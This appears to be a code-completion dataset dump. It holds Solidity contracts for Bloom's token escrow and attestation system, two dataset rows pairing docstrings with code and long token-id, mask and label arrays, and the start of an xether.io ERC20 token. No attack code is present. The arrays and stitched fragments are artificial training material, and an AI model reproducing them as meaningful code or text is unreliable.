return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(VoteFor(
_choice,
_voter,
_nonce,
_poll
))
)
);
}
function generateLockupTokensDelegationSchemaHash(
address _sender,
uint256 _amount,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(LockupTokensFor(
_sender,
_amount,
_nonce
))
)
);
}
function generateReleaseTokensDelegationSchemaHash(
address _sender,
uint256 _amount,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(ReleaseTokensFor(
_sender,
_amount,
_nonce
))
)
);
}
function recoverSigner(bytes32 _hash, bytes _sig) internal pure returns (address) {
address signer = ECRecovery.recover(_hash, _sig);
require(signer != address(0));
return signer;
}
}
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @notice TokenEscrowMarketplace is an ERC20 payment channel that enables users to send BLT by exchanging signatures off-chain
* Users approve the contract address to transfer BLT on their behalf using the standard ERC20.approve function
* After approval, either the user or the contract admin initiates the transfer of BLT into the contract
* Once in the contract, users can send payments via a signed message to another user.
* The signature transfers BLT from lockup to the recipient's balance
* Users can withdraw funds at any time. Or the admin can release them on the user's behalf
*
* BLT is stored in the contract by address
*
* Only the AttestationLogic contract is authorized to release funds once a jobs is complete
*/
contract TokenEscrowMarketplace is SigningLogic {
using SafeERC20 for ERC20;
using SafeMath for uint256;
address public attestationLogic;
mapping(address => uint256) public tokenEscrow;
ERC20 public token;
event TokenMarketplaceWithdrawal(address escrowPayer, uint256 amount);
event TokenMarketplaceEscrowPayment(address escrowPayer, address escrowPayee, uint256 amount);
event TokenMarketplaceDeposit(address escrowPayer, uint256 amount);
/**
* @notice The TokenEscrowMarketplace constructor initializes the interfaces to the other contracts
* @dev Some actions are restricted to be performed by the attestationLogic contract.
* Signing logic is upgradeable in case the signTypedData spec changes
* @param _token Address of BLT
* @param _attestationLogic Address of current attestation logic contract
*/
constructor(
ERC20 _token,
address _attestationLogic
) public SigningLogic("Bloom Token Escrow Marketplace", "2", 1) {
token = _token;
attestationLogic = _attestationLogic;
}
modifier onlyAttestationLogic() {
require(msg.sender == attestationLogic);
_;
}
/**
* @notice Lockup tokens for set time period on behalf of user. Must be preceeded by approve
* @dev Authorized by a signTypedData signature by sender
* Sigs can only be used once. They contain a unique nonce
* So an action can be repeated, with a different signature
* @param _sender User locking up their tokens
* @param _amount Tokens to lock up
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function moveTokensToEscrowLockupFor(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) external {
validateLockupTokensSig(
_sender,
_amount,
_nonce,
_delegationSig
);
moveTokensToEscrowLockupForUser(_sender, _amount);
}
/**
* @notice Verify lockup signature is valid
* @param _sender User locking up their tokens
* @param _amount Tokens to lock up
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function validateLockupTokensSig(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) private {
bytes32 _signatureDigest = generateLockupTokensDelegationSchemaHash(_sender, _amount, _nonce);
require(_sender == recoverSigner(_signatureDigest, _delegationSig), 'Invalid LockupTokens Signature');
burnSignatureDigest(_signatureDigest, _sender);
}
/**
* @notice Lockup tokens by user. Must be preceeded by approve
* @param _amount Tokens to lock up
*/
function moveTokensToEscrowLockup(uint256 _amount) external {
moveTokensToEscrowLockupForUser(msg.sender, _amount);
}
/**
* @notice Lockup tokens for set time. Must be preceeded by approve
* @dev Private function called by appropriate public function
* @param _sender User locking up their tokens
* @param _amount Tokens to lock up
*/
function moveTokensToEscrowLockupForUser(
address _sender,
uint256 _amount
) private {
token.safeTransferFrom(_sender, this, _amount);
addToEscrow(_sender, _amount);
}
/**
* @notice Withdraw tokens from escrow back to requester
* @dev Authorized by a signTypedData signature by sender
* Sigs can only be used once. They contain a unique nonce
* So an action can be repeated, with a different signature
* @param _sender User withdrawing their tokens
* @param _amount Tokens to withdraw
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function releaseTokensFromEscrowFor(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) external {
validateReleaseTokensSig(
_sender,
_amount,
_nonce,
_delegationSig
);
releaseTokensFromEscrowForUser(_sender, _amount);
}
/**
* @notice Verify lockup signature is valid
* @param _sender User withdrawing their tokens
* @param _amount Tokens to lock up
* @param _nonce Unique Id so signatures can't be replayed
* @param _delegationSig Signed hash of these input parameters so an admin can submit this on behalf of a user
*/
function validateReleaseTokensSig(
address _sender,
uint256 _amount,
bytes32 _nonce,
bytes _delegationSig
) private {
bytes32 _signatureDigest = generateReleaseTokensDelegationSchemaHash(_sender, _amount, _nonce);
require(_sender == recoverSigner(_signatureDigest, _delegationSig), 'Invalid ReleaseTokens Signature');
burnSignatureDigest(_signatureDigest, _sender);
}
/**
* @notice Release tokens back to payer's available balance if lockup expires
* @dev Token balance retreived by accountId. Can be different address from the one that deposited tokens
* @param _amount Tokens to retreive from escrow
*/
function releaseTokensFromEscrow(uint256 _amount) external {
releaseTokensFromEscrowForUser(msg.sender, _amount);
}
/**
* @notice Release tokens back to payer's available balance
* @param _payer User retreiving tokens from escrow
* @param _amount Tokens to retreive from escrow
*/
function releaseTokensFromEscrowForUser(
address _payer,
uint256 _amount
) private {
subFromEscrow(_payer, _amount);
token.safeTransfer(_payer, _amount);
emit TokenMarketplaceWithdrawal(_payer, _amount);
}
/**
* @notice Pay from escrow of payer to available balance of receiever
* @dev Private function to modify balances on payment
* @param _payer User with tokens in escrow
* @param _receiver User receiving tokens
* @param _amount Tokens being sent
*/
function payTokensFromEscrow(address _payer, address _receiver, uint256 _amount) private {
subFromEscrow(_payer, _amount);
token.safeTransfer(_receiver, _amount);
}
/**
* @notice Pay tokens to receiver from payer's escrow given a valid signature
* @dev Execution restricted to attestationLogic contract
* @param _payer User paying tokens from escrow
* @param _receiver User receiving payment
* @param _amount Tokens being paid
* @param _nonce Unique Id for sig to make it one-time-use
* @param _paymentSig Signed parameters by payer authorizing payment
*/
function requestTokenPayment(
address _payer,
address _receiver,
uint256 _amount,
bytes32 _nonce,
bytes _paymentSig
) external onlyAttestationLogic {
validatePaymentSig(
_payer,
_receiver,
_amount,
_nonce,
_paymentSig
);
payTokensFromEscrow(_payer, _receiver, _amount);
emit TokenMarketplaceEscrowPayment(_payer, _receiver, _amount);
}
/**
* @notice Verify payment signature is valid
* @param _payer User paying tokens from escrow
* @param _receiver User receiving payment
* @param _amount Tokens being paid
* @param _nonce Unique Id for sig to make it one-time-use
* @param _paymentSig Signed parameters by payer authorizing payment
*/
function validatePaymentSig(
address _payer,
address _receiver,
uint256 _amount,
bytes32 _nonce,
bytes _paymentSig
) private {
bytes32 _signatureDigest = generatePayTokensSchemaHash(_payer, _receiver, _amount, _nonce);
require(_payer == recoverSigner(_signatureDigest, _paymentSig), 'Invalid Payment Signature');
burnSignatureDigest(_signatureDigest, _payer);
}
/**
* @notice Helper function to add to escrow balance
* @param _from Account address for escrow mapping
* @param _amount Tokens to lock up
*/
function addToEscrow(address _from, uint256 _amount) private {
tokenEscrow[_from] = tokenEscrow[_from].add(_amount);
emit TokenMarketplaceDeposit(_from, _amount);
}
/**
* Helper function to reduce escrow token balance of user
*/
function subFromEscrow(address _from, uint256 _amount) private {
require(tokenEscrow[_from] >= _amount);
tokenEscrow[_from] = tokenEscrow[_from].sub(_amount);
}
}
/**
* @title Initializable
* @dev The Initializable contract has an initializer address, and provides basic authorization control
* only while in initialization mode. Once changed to production mode the inializer loses authority
*/
contract Initializable {
address public initializer;
bool public initializing;
event InitializationEnded();
/**
* @dev The Initializable constructor sets the initializer to the provided address
*/
constructor(address _initializer) public {
initializer = _initializer;
initializing = true;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyDuringInitialization() {
require(msg.sender == initializer, 'Method can only be called by initializer');
require(initializing, 'Method can only be called during initialization');
_;
}
/**
* @dev Allows the initializer to end the initialization period
*/
function endInitialization() public onlyDuringInitialization {
initializing = false;
emit InitializationEnded();
}
}
/**
* @title AttestationLogic allows users to submit attestations given valid signatures
* @notice Attestation Logic Logic provides a public interface for Bloom and
* users to submit attestations.
*/
contract AttestationLogic is Initializable, SigningLogic{
TokenEscrowMarketplace public tokenEscrowMarketplace;
/**
* @notice AttestationLogic constructor sets the implementation address of all related contracts
* @param _tokenEscrowMarketplace Address of marketplace holding tokens which are
* released to attesters upon completion of a job
*/
constructor(
address _initializer,
TokenEscrowMarketplace _tokenEscrowMarketplace
) Initializable(_initializer) SigningLogic("Bloom Attestation Logic", "2", 1) public {
tokenEscrowMarketplace = _tokenEscrowMarketplace;
}
event TraitAttested(
address subject,
address attester,
address requester,
bytes32 dataHash
);
event AttestationRejected(address indexed attester, address indexed requester);
event AttestationRevoked(bytes32 link, address attester);
event TokenEscrowMarketplaceChanged(address oldTokenEscrowMarketplace, address newTokenEscrowMarketplace);
/**
* @notice Function for attester to submit attestation from their own account)
* @dev Wrapper for attestForUser using msg.sender
* @param _subject User this attestation is about
* @param _requester User requesting and paying for this attestation in BLT
* @param _reward Payment to attester from requester in BLT
* @param _requesterSig Signature authorizing payment from requester to attester
* @param _dataHash Hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig Signed authorization from subject with attestation agreement
*/
function attest(
address _subject,
address _requester,
uint256 _reward,
bytes _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig // Sig of subject with requester, attester, dataHash, requestNonce
) external {
attestForUser(
_subject,
msg.sender,
_requester,
_reward,
_requesterSig,
_dataHash,
_requestNonce,
_subjectSig
);
}
/**
* @notice Submit attestation for a user in order to pay the gas costs
* @dev Recover signer of delegation message. If attester matches delegation signature, add the attestation
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requesterSig signature authorizing payment from requester to attester
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig signed authorization from subject with attestation agreement
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function attestFor(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig, // Sig of subject with dataHash and requestNonce
bytes _delegationSig
) external {
// Confirm attester address matches recovered address from signature
validateAttestForSig(_subject, _attester, _requester, _reward, _dataHash, _requestNonce, _delegationSig);
attestForUser(
_subject,
_attester,
_requester,
_reward,
_requesterSig,
_dataHash,
_requestNonce,
_subjectSig
);
}
/**
* @notice Perform attestation
* @dev Verify valid certainty level and user addresses
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requesterSig signature authorizing payment from requester to attester
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig signed authorization from subject with attestation agreement
*/
function attestForUser(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig
) private {
validateSubjectSig(
_subject,
_dataHash,
_requestNonce,
_subjectSig
);
emit TraitAttested(
_subject,
_attester,
_requester,
_dataHash
);
if (_reward > 0) {
tokenEscrowMarketplace.requestTokenPayment(_requester, _attester, _reward, _requestNonce, _requesterSig);
}
}
/**
* @notice Function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* @param _requester User requesting and paying for this attestation in BLT
* @param _reward Payment to attester from requester in BLT
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig Signature authorizing payment from requester to attester
*/
function contest(
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _requesterSig
) external {
contestForUser(
msg.sender,
_requester,
_reward,
_requestNonce,
_requesterSig
);
}
/**
* @notice Function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* Perform on behalf of attester to pay gas fees
* @param _requester User requesting and paying for this attestation in BLT
* @param _attester user completing the attestation
* @param _reward Payment to attester from requester in BLT
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig Signature authorizing payment from requester to attester
*/
function contestFor(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _requesterSig,
bytes _delegationSig
) external {
validateContestForSig(
_attester,
_requester,
_reward,
_requestNonce,
_delegationSig
);
contestForUser(
_attester,
_requester,
_reward,
_requestNonce,
_requesterSig
);
}
/**
* @notice Private function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig signature authorizing payment from requester to attester
*/
function contestForUser(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _requesterSig
) private {
if (_reward > 0) {
tokenEscrowMarketplace.requestTokenPayment(_requester, _attester, _reward, _requestNonce, _requesterSig);
}
emit AttestationRejected(_attester, _requester);
}
/**
* @notice Verify subject signature is valid
* @param _subject user this attestation is about
* @param _dataHash hash of data being attested and nonce
* param _requestNonce Nonce in sig signed by subject so it can't be replayed
* @param _subjectSig Signed authorization from subject with attestation agreement
*/
function validateSubjectSig(
address _subject,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _subjectSig
) private {
bytes32 _signatureDigest = generateRequestAttestationSchemaHash(_dataHash, _requestNonce);
require(_subject == recoverSigner(_signatureDigest, _subjectSig));
burnSignatureDigest(_signatureDigest, _subject);
}
/**
* @notice Verify attester delegation signature is valid
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce nonce in sig signed by subject so it can't be replayed
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function validateAttestForSig(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes _delegationSig
) private {
bytes32 _delegationDigest = generateAttestForDelegationSchemaHash(_subject, _requester, _reward, _dataHash, _requestNonce);
require(_attester == recoverSigner(_delegationDigest, _delegationSig), 'Invalid AttestFor Signature');
burnSignatureDigest(_delegationDigest, _attester);
}
/**
* @notice Verify attester delegation signature is valid
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requestNonce nonce referenced in TokenEscrowMarketplace so payment sig can't be replayed
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function validateContestForSig(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes _delegationSig
) private {
bytes32 _delegationDigest = generateContestForDelegationSchemaHash(_requester, _reward, _requestNonce);
require(_attester == recoverSigner(_delegationDigest, _delegationSig), 'Invalid ContestFor Signature');
burnSignatureDigest(_delegationDigest, _attester);
}
/**
* @notice Submit attestation completed prior to deployment of this contract
* @dev Gives initializer privileges to write attestations during the initialization period without signatures
* @param _requester user requesting this attestation be completed
* @param _attester user completing the attestation
* @param _subject user this attestation is about
* @param _dataHash hash of data being attested
*/
function migrateAttestation(
address _requester,
address _attester,
address _subject,
bytes32 _dataHash
) public onlyDuringInitialization {
emit TraitAttested(
_subject,
_attester,
_requester,
_dataHash
);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
*/
function revokeAttestation(
bytes32 _link
) external {
revokeAttestationForUser(_link, msg.sender);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
*/
function revokeAttestationFor(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes _delegationSig
) external {
validateRevokeForSig(_sender, _link, _nonce, _delegationSig);
revokeAttestationForUser(_link, _sender);
}
/**
* @notice Verify revocation signature is valid
* @param _link bytes string embedded in dataHash to link revocation
* @param _sender user revoking attestation
* @param _delegationSig signature authorizing revocation on behalf of revoker
*/
function validateRevokeForSig(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes _delegationSig
) private {
bytes32 _delegationDigest = generateRevokeAttestationForDelegationSchemaHash(_link, _nonce);
require(_sender == recoverSigner(_delegationDigest, _delegationSig), 'Invalid RevokeFor Signature');
burnSignatureDigest(_delegationDigest, _sender);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
* @param _sender address identify revoker
*/
function revokeAttestationForUser(
bytes32 _link,
address _sender
) private {
emit AttestationRevoked(_link, _sender);
}
/**
* @notice Set the implementation of the TokenEscrowMarketplace contract by setting a new address
* @dev Restricted to initializer
* @param _newTokenEscrowMarketplace Address of new SigningLogic implementation
*/
function setTokenEscrowMarketplace(TokenEscrowMarketplace _newTokenEscrowMarketplace) external onlyDuringInitialization {
address oldTokenEscrowMarketplace = tokenEscrowMarketplace;
tokenEscrowMarketplace = _newTokenEscrowMarketplace;
emit TokenEscrowMarketplaceChanged(oldTokenEscrowMarketplace, tokenEscrowMarketplace);
}
}
|
* @notice The TokenEscrowMarketplace constructor initializes the interfaces to the other contracts @dev Some actions are restricted to be performed by the attestationLogic contract. Signing logic is upgradeable in case the signTypedData spec changes @param _token Address of BLT @param _attestationLogic Address of current attestation logic contract/
|
) public SigningLogic("Bloom Token Escrow Marketplace", "2", 1) {
token = _token;
attestationLogic = _attestationLogic;
}
| 880,671 |
[
1,
1986,
3155,
6412,
492,
3882,
24577,
3885,
11643,
326,
7349,
358,
326,
1308,
20092,
225,
10548,
4209,
854,
15693,
358,
506,
9591,
635,
326,
2403,
395,
367,
20556,
6835,
18,
225,
20253,
4058,
353,
8400,
429,
316,
648,
326,
1573,
11985,
751,
857,
3478,
225,
389,
2316,
5267,
434,
605,
12050,
225,
389,
270,
3813,
367,
20556,
5267,
434,
783,
2403,
395,
367,
4058,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
1071,
20253,
20556,
2932,
38,
17810,
3155,
512,
1017,
492,
6622,
24577,
3113,
315,
22,
3113,
404,
13,
288,
203,
565,
1147,
273,
389,
2316,
31,
203,
565,
2403,
395,
367,
20556,
273,
389,
270,
3813,
367,
20556,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0xa90dAF1975BA13c26F63976e0Fd73A21F966EE0D/sources/contracts/ToucanCarbonOffsets.sol
|
@notice Mint an NFT showing how many tonnes of CO2 have been retired/cancelled
|
function mintBadgeNFT(address to, uint256 amount)
public
virtual
whenNotPaused
{
address badgeAddr = IToucanContractRegistry(contractRegistry)
.carbonOffsetBadgesAddress();
require(
retiredAmount[msg.sender] >= amount,
'Error: Cannot mint more than user has retired'
);
ICarbonOffsetBadges(badgeAddr).mintBadge(
to,
projectVintageTokenId,
amount
);
retiredAmount[msg.sender] -= amount;
}
| 3,776,890 |
[
1,
49,
474,
392,
423,
4464,
17253,
3661,
4906,
268,
265,
23712,
434,
7910,
22,
1240,
2118,
325,
2921,
19,
10996,
1259,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
6434,
908,
50,
4464,
12,
2867,
358,
16,
2254,
5034,
3844,
13,
203,
3639,
1071,
203,
3639,
5024,
203,
3639,
1347,
1248,
28590,
203,
565,
288,
203,
3639,
1758,
15654,
3178,
273,
467,
774,
89,
4169,
8924,
4243,
12,
16351,
4243,
13,
203,
5411,
263,
71,
11801,
2335,
6434,
2852,
1887,
5621,
203,
3639,
2583,
12,
203,
5411,
325,
2921,
6275,
63,
3576,
18,
15330,
65,
1545,
3844,
16,
203,
5411,
296,
668,
30,
14143,
312,
474,
1898,
2353,
729,
711,
325,
2921,
11,
203,
3639,
11272,
203,
203,
3639,
26899,
11801,
2335,
6434,
2852,
12,
21245,
3178,
2934,
81,
474,
6434,
908,
12,
203,
5411,
358,
16,
203,
5411,
1984,
58,
474,
410,
1345,
548,
16,
203,
5411,
3844,
203,
3639,
11272,
203,
3639,
325,
2921,
6275,
63,
3576,
18,
15330,
65,
3947,
3844,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.6;
/**
* xether.io - is a gambling ecosystem, which makes a difference by caring about its users.
* It’s our passion for perfection, as well as finding and creating neat solutions,
* that keeps us driven towards our goals.
*/
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
